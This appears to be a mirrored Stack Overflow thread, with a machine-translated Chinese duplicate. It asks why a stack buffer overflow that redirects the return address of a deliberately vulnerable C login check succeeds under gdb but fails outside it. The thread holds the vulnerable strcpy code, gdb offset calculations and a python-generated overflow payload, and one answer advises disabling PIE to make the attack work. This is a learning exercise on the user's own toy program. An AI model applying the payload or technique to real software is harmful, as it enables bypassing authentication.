简体   繁体   English

无法覆盖gdb以外的返回地址

[英]can't overwirte return address outside of gdb

I try to use a buffer overflow on the stack to redirect the return address. 我尝试在堆栈上使用缓冲区溢出来重定向返回地址。 My goal is to overwrite the return address within the "check_auth" function, that the main continues at line 22 ("printf("GRANTED\\n");"). 我的目标是覆盖“ check_auth”函数中的返回地址,使主地址继续在第22行(​​“ printf(“ GRANTED \\ n”);“)。 Here is the C code: 这是C代码:

fugi@calc:~/Desktop$ gcc -g auth_overflow.c -o auth_overflow
fugi@calc:~/Desktop$ gdb auth_overflow -q
Reading symbols from auth_overflow...done.
(gdb) list 1
1       #include <stdio.h>
2       #include <stdlib.h>
3       #include <string.h>
4   
5       int check_auth(char *pass){
6           char pass_buff[16];
7           int auth_flag = 0;
8           strcpy(pass_buff, pass);
9   
10          if(strcmp(pass_buff, "yes") == 0)
(gdb) 
11              auth_flag = 1;
12          return auth_flag; 
13      }
14  
15      int main( int argc, char *argv[]){
16          if(argc < 2){
17              printf("Usage: %s <password>\n\n", argv[0]);
18              exit(0);
19          }
20          if(check_auth(argv[1])){
(gdb) 
21              printf("ACCESS\n");
22              printf("GRANTED\n");
23          }
24          else{
25              printf("\n Access Denied\n");
26          }
27          return 0;
28      }

I am using gdb on a 64bit Debian system, to debug the code. 我在64位Debian系统上使用gdb调试代码。 My problem is, the overwriting doesn't work outside of gdb. 我的问题是,改写在gdb之外不起作用。

I know, that the return address in which points back to main and the the beginning of the input variable(pass_buff) are 40 bytes appart. 我知道,指向主地址和输入变量(pass_buff)开头的返回地址为40个字节。

 (gdb) i f 
 Stack level 0, frame at 0x7fffffffe170:
 rip = 0x55555555477d in check_auth (auth_overflow.c:8); saved rip = 0x555555554800
 called by frame at 0x7fffffffe190
 source language c.
 Arglist at 0x7fffffffe160, args: pass=0x7fffffffe562 'A' <repeats 56 times>
 Locals at 0x7fffffffe160, Previous frame's sp is 0x7fffffffe170
 Saved registers:
 rbp at 0x7fffffffe160, rip at 0x7fffffffe168
(gdb) x/x *0x7fffffffe168
0x55554800: Cannot access memory at address 0x55554800
(gdb) x/x pass_buff
0x7fffffffe140: 0x00000001
(gdb) p 0x7fffffffe168 - 0x7fffffffe140
$1 = 40

So, when I do this: 因此,当我这样做时:

(gdb) run `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Starting program: /home/fugi/Desktop/auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
GRANTED

Program received signal SIGBUS, Bus error.
main (argc=<error reading variable: Cannot access memory at address 0x414141414141413d>, 
argv=<error reading variable: Cannot access memory at address 0x4141414141414131>) at auth_overflow.c:28
28      }

But when I do it without gdb it doesn't work: 但是当我没有gdb时它不起作用:

fugi@calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Segmentation fault

What can I do to make this work? 我该怎么做才能使这项工作?

I also tried to do this by repeating the address, but the problem here is, that I can't print null bytes: 我也尝试通过重复地址来做到这一点,但是这里的问题是,我无法打印空字节:

(gdb) x/12xg $rsp
0x7fffffffe130: 0x00007fffffffe156  0x00007fffffffe56c
0x7fffffffe140: 0x4141414141414141  0x4141414141414141
0x7fffffffe150: 0x4141414141414141  0x4141414141414141
0x7fffffffe160: 0x4141414141414141  **0x0000555555554810**
0x7fffffffe170: 0x00007fffffffe268  0x0000000200000000
0x7fffffffe180: 0x0000555555554840  0x00007ffff7a57561

to make the address fit I need to add \\x00\\x00 but then I get: 为了使地址合适,我需要添加\\ x00 \\ x00,但是我得到:

fugi@calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55\x00\x00")'`
**bash: warning: command substitution: ignored null byte in input**
Segmentation fault

Is there a way to repeat the address like this? 有没有办法重复这样的地址?

Thanks for you help in advance 谢谢您的帮助

I don't know about exact build settings in your development environment, but I can guess some problems. 我不知道您的开发环境中的确切构建设置,但是我可以猜测一些问题。

  • on current Linux environment, PIE (Position-Independent-Executive) is enabled. 在当前的Linux环境中,启用了PIE(位置独立执行)。 which means, your target address is not always 0x0000555555554810 . 这意味着您的目标地址并不总是0x0000555555554810 to check that, add this code to main function : 要检查,将以下代码添加到main函数中:

     printf("CODE: %p\\n", (void*)main); 

    if this code generates same address every times, then PIE is disabled. 如果此代码每次都生成相同的地址,则将禁用PIE。

  • argv argument cannot include NULL byte (except end of string). argv参数不能包含NULL字节(字符串末尾除外)。 but this is not a critical problem because on x86-64 system they uses only 6 low bytes for virtual address. 但这不是关键问题,因为在x86-64系统上,它们仅使用6个低字节作为虚拟地址。

to disable PIE build : use -no-pie . 禁用PIE构建: use -no-pie gcc main.c -o main -no-pie

If you're asking how to return check_auth(), I'd do this: 如果您问如何返回check_auth(),我将这样做:

int main( int argc, char *argv[]){
    if(argc < 2){
        printf("Usage: %s <password>\n\n", argv[0]);
        exit(0);
    }

    int flag = check_auth(argv[1]);

    if(flag){

        printf("ACCESS\n");
        printf("GRANTED\n");
    }else{
        printf("\n Access Denied\n");
    }
    return flag;
}

My main language is Java, actually, so if I'm wrong, please correct me. 实际上,我的主要语言是Java,因此,如果我输入错了,请纠正我。 I'm trying to learn C as we speak. 我正在尝试学习C。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM